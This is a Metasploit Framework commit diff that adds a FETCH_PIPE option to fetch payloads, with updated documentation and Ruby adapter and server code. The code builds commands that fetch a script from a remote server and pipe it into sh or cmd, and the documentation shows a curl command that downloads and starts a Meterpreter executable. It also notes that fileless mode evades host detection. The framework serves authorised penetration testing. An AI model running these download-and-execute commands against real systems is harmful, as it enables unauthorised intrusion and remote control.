Land rapid7#19997, PIPE_FETCH option for fetch payloads

Add PIPE_FETCH option to fetch payloads to make payloads shorter

Author: msutovsky-r7

docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md

@@ -24,7 +24,7 @@ cURL, or Certutil.
 
 ## Organization
 Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support
-HTTP, HTTPS, and TFTP servers.  Once you select a fetch payload, you can select the binary you'd like to run on the
+HTTP, HTTPS, SMB, and TFTP servers.  Once you select a fetch payload, you can select the binary you'd like to run on the
 remote host to download the served payload prior to execution.
 
 Here is the naming convention for fetch payloads:
@@ -69,15 +69,36 @@ msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
 `FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload.  Currently, the
 supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts.  We'll get
 into more details on the binaries later.
-`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host.  This option is not
-supported by every binary and must end in `.exe` on Windows hosts.  The default value is random.
+
 `FETCH_SRVHOST` is the IP where the server will listen.
+
 `FETCH_SRVPORT` is the port where the server will listen.
+
 `FETCH_URIPATH` is the URI corresponding to the payload file.  The default value is deterministic based on the
 underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying
 served payload is the same.
+
+### Dependent Options
+`FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to
+memory rather than disk before execution, thus avoiding some HIDS and making forensics harder.  Currently, there are
+two options: `bash` and `python3.8+`.  Both of these require the target to be running Linux Kernel 3.17 or above.
+This option is only available when the platform is Linux.
+
+`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host.  This option is not
+supported by every binary and must end in `.exe` on Windows hosts.  The default value is random.
+This option is only available when `FETCH_FILELESS` is set to `none`
+
+`FETCH_PIPE` is a binary flag that will create a second resource containing the original fetch command to run and then
+will produce a much shorter command to run on the host that will download the original fetch command and pipe it
+directly to the target's shell.  Use this option if there is a limit on the command size as it will result in a much
+smaller original command.  When set to true, the `FETCH_URIPATH` option is used for the pipe command resource uri and
+the default `FETCH_URIPATH`value is used for the original binary payload uri.
+This option is only available when the fetch  transport is HTTP or HTTPS and the payload platform is Linux with the 
+`FETCH_COMMAND` set to `CURL` or `WGET` or the platform is Windows and the `FETCH_COMMAND` is `CURL`
+
 `FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution.
-This value is not supported by all binaries.  If you set this value and it is not supported, it will generate an error.
+This value is not supported by all fetch binaries.  If you set this value and it is not supported, it will generate an error.
+This option is only available when `FETCH_FILELESS` is set to `none`
 
 The remaining options will be the options available to you in the served payload; in this case our served payload is
 `linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`.  If we had selected a different
@@ -154,6 +175,20 @@ really odd situation where you can execute commands, you can get a session in fr
 a payload manually.  Just follow the steps above, and run the provided command.  Right now, the only thing we serve are
 Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.
 
+## Fetch Pipe
+If space is at a premium, you can use the `FETCH_PIPE` option.  When using `FETCH_PIPE`, the fetch server hosts two
+resources: the original binary and then the generated fetch command.  In the place of the original command, the command
+generated will be a much smaller command to download the original command and pipe it into the shell.
+The following example shows both the original command to download and execute the binary and the command to pipe the
+original fetch command directly to the shell.  Since this requires two downloads, it is less stealthy, but the
+command to run on the target is significantly shorter.
+``` msf
+msf6 payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
+[*] Command served: curl -so %TEMP%\DpRdBIfeyax.exe http://10.5.135.117:8080/zw3LGTh9FtaLJ4bCQRAWdw & start /B %TEMP%\DpRdBIfeyax.exe
+
+[*] Command to run on remote host: curl -s http://10.5.135.117:8080/test|cmd
+```
+
 ## Using it in an exploit
 Using Fetch Payloads is no different than using any other command payload.  First, give users access to the Fetch
 payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or

lib/msf/core/payload/adapter/fetch.rb

@@ -17,10 +17,11 @@ def initialize(*args)
         Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false])
       ]
     )
-    @delete_resource = true
     @fetch_service = nil
     @myresources = []
     @srvexe = ''
+    @pipe_uri = nil
+    @pipe_cmd = nil
     @remote_destination_win = nil
     @remote_destination_nix = nil
     @windows = nil
@@ -32,7 +33,7 @@ def initialize(*args)
   # in Framework, and if the underlying payload type/host/port are the same, the URI
   # will be, too.
   #
-  def default_srvuri
+  def default_srvuri(extra_data = nil)
     # If we're in framework, payload is in datastore; msfvenom has it in refname
     payload_name = datastore['payload'] ||= refname
     decoded_uri = payload_name.dup
@@ -58,13 +59,18 @@ def default_srvuri
       end
     end
     decoded_uri << ";#{netloc}"
+    decoded_uri << ";#{extra_data}" unless extra_data.nil?
     Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false)
   end
 
   def download_uri
     "#{srvnetloc}/#{srvuri}"
   end
 
+  def _download_pipe
+    "#{srvnetloc}/#{@pipe_uri}"
+  end
+
   def fetch_bindhost
     datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress']
   end
@@ -77,15 +83,45 @@ def fetch_bindnetloc
     Rex::Socket.to_authority(fetch_bindhost, fetch_bindport)
   end
 
+  def pipe_supported_binaries
+    # this is going to expand when we add psh support
+    return %w[CURL] if windows?
+    %w[WGET CURL]
+  end
+
   def generate(opts = {})
     opts[:arch] ||= module_info['AdaptedArch']
     opts[:code] = super
     @srvexe = generate_payload_exe(opts)
-    cmd = generate_fetch_commands
+    if datastore['FETCH_PIPE']
+      unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase)
+        fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
+      end
+      @pipe_cmd = generate_fetch_commands
+      @pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows
+      vprint_status("Command served: #{@pipe_cmd}")
+      cmd = generate_pipe_command
+    else
+      cmd = generate_fetch_commands
+    end
     vprint_status("Command to run on remote host: #{cmd}")
     cmd
   end
 
+  def generate_pipe_command
+    # TODO: Make a check method that determines if we support a platform/server/command combination
+    @pipe_uri = pipe_srvuri
+
+    case datastore['FETCH_COMMAND'].upcase
+    when 'WGET'
+      return _generate_wget_pipe
+    when 'CURL'
+      return _generate_curl_pipe
+    else
+      fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
+    end
+  end
+
   def generate_fetch_commands
     # TODO: Make a check method that determines if we support a platform/server/command combination
     #
@@ -139,9 +175,16 @@ def srvport
   end
 
   def srvuri
+    # If the user has selected FETCH_PIPE, we save any user-defined uri for the pipe command
+    return default_srvuri if datastore['FETCH_PIPE'] || datastore['FETCH_URIPATH'].blank?
+
+    datastore['FETCH_URIPATH']
+  end
+
+  def pipe_srvuri
     return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?
 
-    default_srvuri
+    default_srvuri('pipe')
   end
 
   def windows?
@@ -234,7 +277,6 @@ def _generate_certutil_command
     end
     _execute_add(get_file_cmd)
   end
-  
 
   # The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor
   def _generate_fileless(get_file_cmd)
@@ -281,6 +323,19 @@ def _generate_curl_command
     _execute_add(get_file_cmd)
   end
 
+  def _generate_curl_pipe
+    execute_cmd = 'sh'
+    execute_cmd = 'cmd' if windows?
+    case fetch_protocol
+    when 'HTTP'
+      return "curl -s http://#{_download_pipe}|#{execute_cmd}"
+    when 'HTTPS'
+      return "curl -sk https://#{_download_pipe}|#{execute_cmd}"
+    else
+      fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
+    end
+  end
+
   def _generate_ftp_command
     case fetch_protocol
     when 'FTP'
@@ -342,6 +397,17 @@ def _generate_wget_command
     _execute_add(get_file_cmd)
   end
 
+  def _generate_wget_pipe
+    case fetch_protocol
+    when 'HTTPS'
+      return "wget --no-check-certificate -qO- https://#{_download_pipe}|sh"
+    when 'HTTP'
+      return "wget -qO- http://#{_download_pipe}|sh"
+    else
+      fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
+    end
+  end
+
   def _remote_destination
     return _remote_destination_win if windows?
 
@@ -353,15 +419,15 @@ def _remote_destination_nix
 
     if datastore['FETCH_FILELESS'] != 'none'
       @remote_destination_nix = '$f'
-      return @remote_destination_nix
+    else
+      writable_dir = datastore['FETCH_WRITABLE_DIR']
+      writable_dir = '.' if writable_dir.blank?
+      writable_dir += '/' unless writable_dir[-1] == '/'
+      payload_filename = datastore['FETCH_FILENAME']
+      payload_filename = srvuri if payload_filename.blank?
+      payload_path = writable_dir + payload_filename
+      @remote_destination_nix = payload_path
     end
-    writable_dir = datastore['FETCH_WRITABLE_DIR']
-    writable_dir = '.' if writable_dir.blank?
-    writable_dir += '/' unless writable_dir[-1] == '/'
-    payload_filename = datastore['FETCH_FILENAME']
-    payload_filename = srvuri if payload_filename.blank?
-    payload_path = writable_dir + payload_filename
-    @remote_destination_nix = payload_path
     @remote_destination_nix
   end
 

lib/msf/core/payload/adapter/fetch/http.rb

@@ -11,16 +11,23 @@ def initialize(*args)
 
   def cleanup_handler
     if @fetch_service
-      cleanup_http_fetch_service(@fetch_service, @delete_resource)
+      cleanup_http_fetch_service(@fetch_service, @myresources)
       @fetch_service = nil
     end
 
     super
   end
 
   def setup_handler
-    @fetch_service = start_http_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable']
+    unless datastore['FetchHandlerDisable']
+      @fetch_service = start_http_fetch_handler(srvname)
+      escaped_uri = ('/' + srvuri).gsub('//', '/')
+      add_resource(@fetch_service, escaped_uri, @srvexe)
+      unless @pipe_uri.nil?
+        uri = ('/' + @pipe_uri).gsub('//', '/')
+        add_resource(@fetch_service, uri, @pipe_cmd)
+      end
+    end
     super
   end
-
 end

lib/msf/core/payload/adapter/fetch/https.rb

@@ -11,16 +11,23 @@ def initialize(*args)
 
   def cleanup_handler
     if @fetch_service
-      cleanup_http_fetch_service(@fetch_service, @delete_resource)
+      cleanup_http_fetch_service(@fetch_service, @myresources)
       @fetch_service = nil
     end
 
     super
   end
 
   def setup_handler
-    @fetch_service = start_https_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable']
+    unless datastore['FetchHandlerDisable']
+      @fetch_service = start_https_fetch_handler(srvname)
+      escaped_uri = ('/' + srvuri).gsub('//', '/')
+      add_resource(@fetch_service, escaped_uri, @srvexe)
+      unless @pipe_uri.nil?
+        uri = ('/' + @pipe_uri).gsub('//', '/')
+        add_resource(@fetch_service, uri, @pipe_cmd)
+      end
+    end
     super
   end
-
 end

lib/msf/core/payload/adapter/fetch/linux_options.rb

@@ -5,8 +5,9 @@ def initialize(info = {})
       [
         Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
         Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]),
-        Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'false']),
-        Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', '/tmp'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false'])
+        Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']),
+        Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL WGET]]),
+        Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none'])
       ]
     )
   end

lib/msf/core/payload/adapter/fetch/server/http.rb

@@ -21,42 +21,44 @@ def srvname
 
   def add_resource(fetch_service, uri, srvexe)
     vprint_status("Adding resource #{uri}")
-    if fetch_service.resources.include?(uri)
+    begin
+      if fetch_service.resources.include?(uri)
+        # When we clean up, we need to leave resources alone, because we never added one.
+        fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URIPATH to a different value to continue.")
+      end
+      fetch_service.add_resource(uri,
+                                 'Proc' => proc do |cli, req|
+                                   on_request_uri(cli, req, srvexe)
+                                 end,
+                                 'VirtualDirectory' => true)
+    rescue  ::Exception => e
       # When we clean up, we need to leave resources alone, because we never added one.
-      @delete_resource = false
-      fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URIPATH to a different value to continue.")
+      fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}")
     end
-    fetch_service.add_resource(uri,
-                               'Proc' => proc do |cli, req|
-                                 on_request_uri(cli, req, srvexe)
-                               end,
-                               'VirtualDirectory' => true)
-  rescue  ::Exception => e
-    # When we clean up, we need to leave resources alone, because we never added one.
-    @delete_resource = false
-    fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}")
+    @myresources << uri
   end
 
-  def cleanup_http_fetch_service(fetch_service, delete_resource)
-    escaped_srvuri = ('/' + srvuri).gsub('//', '/')
-    if fetch_service.resources.include?(escaped_srvuri) && delete_resource
-      fetch_service.remove_resource(escaped_srvuri)
+  def cleanup_http_fetch_service(fetch_service, my_resources)
+    my_resources.each do |uri|
+      if fetch_service.resources.include?(uri)
+        fetch_service.remove_resource(uri)
+      end
+
     end
+
     fetch_service.deref
   end
 
-  def start_http_fetch_handler(srvname, srvexe, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil)
+  def start_http_fetch_handler(srvname, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil)
     # this looks a bit funny because I converted it to use an instance variable so that if we crash in the
     # middle and don't return a value, we still have the right fetch_service to clean up.
-    escaped_srvuri = ('/' + srvuri).gsub('//', '/')
     fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version)
     if fetch_service.nil?
       cleanup_handler
       fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}")
     end
     vprint_status("#{fetch_protocol} server started")
     fetch_service.server_name = srvname
-    add_resource(fetch_service, escaped_srvuri, srvexe)
     fetch_service
   end
 

lib/msf/core/payload/adapter/fetch/server/https.rb

@@ -42,7 +42,7 @@ def ssl_version
     datastore['FetchSSLVersion']
   end
 
-  def start_https_fetch_handler(srvname, srvexe)
-    start_http_fetch_handler(srvname, srvexe, true, ssl_cert, ssl_compression, ssl_cipher, ssl_version)
+  def start_https_fetch_handler(srvname)
+    start_http_fetch_handler(srvname, true, ssl_cert, ssl_compression, ssl_cipher, ssl_version)
   end
 end

lib/msf/core/payload/adapter/fetch/windows_options.rb

@@ -6,6 +6,7 @@ def initialize(info = {})
       [
         Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }]),
         Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}),
+        Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL]]),
         Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', '%TEMP%'], regex:/^[\S]*$/)
       ]
     )